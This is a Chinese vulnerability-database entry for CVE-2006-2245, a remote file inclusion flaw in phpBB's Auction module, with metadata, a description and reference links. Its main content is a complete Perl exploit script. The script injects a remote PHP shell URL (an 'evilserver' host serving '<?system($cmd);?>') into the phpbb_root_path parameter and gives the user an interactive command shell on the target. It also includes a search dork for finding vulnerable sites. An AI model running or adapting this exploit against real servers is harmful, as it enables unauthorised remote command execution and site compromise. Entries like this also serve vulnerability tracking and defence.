phpBB Auction模块 远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110211 漏洞类型 代码注入
发布时间 2006-05-04 更新时间 2007-10-01
CVE编号 CVE-2006-2245 CNNVD-ID CNNVD-200605-123
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/1747
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200605-123
|漏洞详情
phpBB是一种用PHP语言实现的基于Web脚本的开放源码论坛程序,使用较为广泛。phpBB的Auction模块实现上输入验证漏洞,远程攻击者可以利用此漏洞在主机上执行任意命令。Auction模块没有正确检查过滤用户在变量phpbb_root_path中提交的参数值,远程攻击者可以在数据中插入特定字串使脚本包含远程服务器上的PHP脚本代码并执行,使攻击者能以Web进程权限在服务器上执行任意命令。
|漏洞EXP
#!/usr/bin/perl
##
#phpBB auction mod - Remote File Inclusion Vuln
# Bug discovered by VietMafia
# code copier: webDEViL w3bd3vil[at]gmail.com
#code same as Fast Click <= 2.3.8 Remote File Inclusion exploit
# dork: intext:"phpbb - auction" inurl:"auction"
# usage:
# perl wb1.pl <target> <cmd shell location> <cmd shell variable>
# perl wb1.pl http://vulnerable.com/ http://target.com/cmd.gif cmd
# cmd shell example: <?system($cmd);?>
# cmd shell variable: ($_GET[cmd]);

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
      print "[shell] \$";
while(<STDIN>)
      {
              $cmd=$_;
              chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'/auction/auction_common.php?phpbb_root_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n"; 


$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
      {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)

{
      $finreturn = $1;
      $finreturn=~ tr/[ê]/[\n]/;
      print "\r\n$finreturn\n\r";
      last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print "  phpBB auction mod - Remote File Inclusion Vuln\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl wb1.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to phpBB auction ex: http://www.site.com/ or http://www.site.com/phpbb/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://evilserver/cmd.gif \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                          webDEViL w3bd3vil[at]gmail.com \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-05-04]
|参考资料

来源:XF
名称:phpbb-auction-file-include(26192)
链接:http://xforce.iss.net/xforce/xfdb/26192
来源:BID
名称:17822
链接:http://www.securityfocus.com/bid/17822
来源:OSVDB
名称:25263
链接:http://www.osvdb.org/25263
来源:VUPEN
名称:ADV-2006-1641
链接:http://www.frsirt.com/english/advisories/2006/1641
来源:SECUNIA
名称:19944
链接:http://secunia.com/advisories/19944
来源:MISC
链接:http://pridels0.blogspot.com/2006/05/phpbb-auction-mod-remote-file.html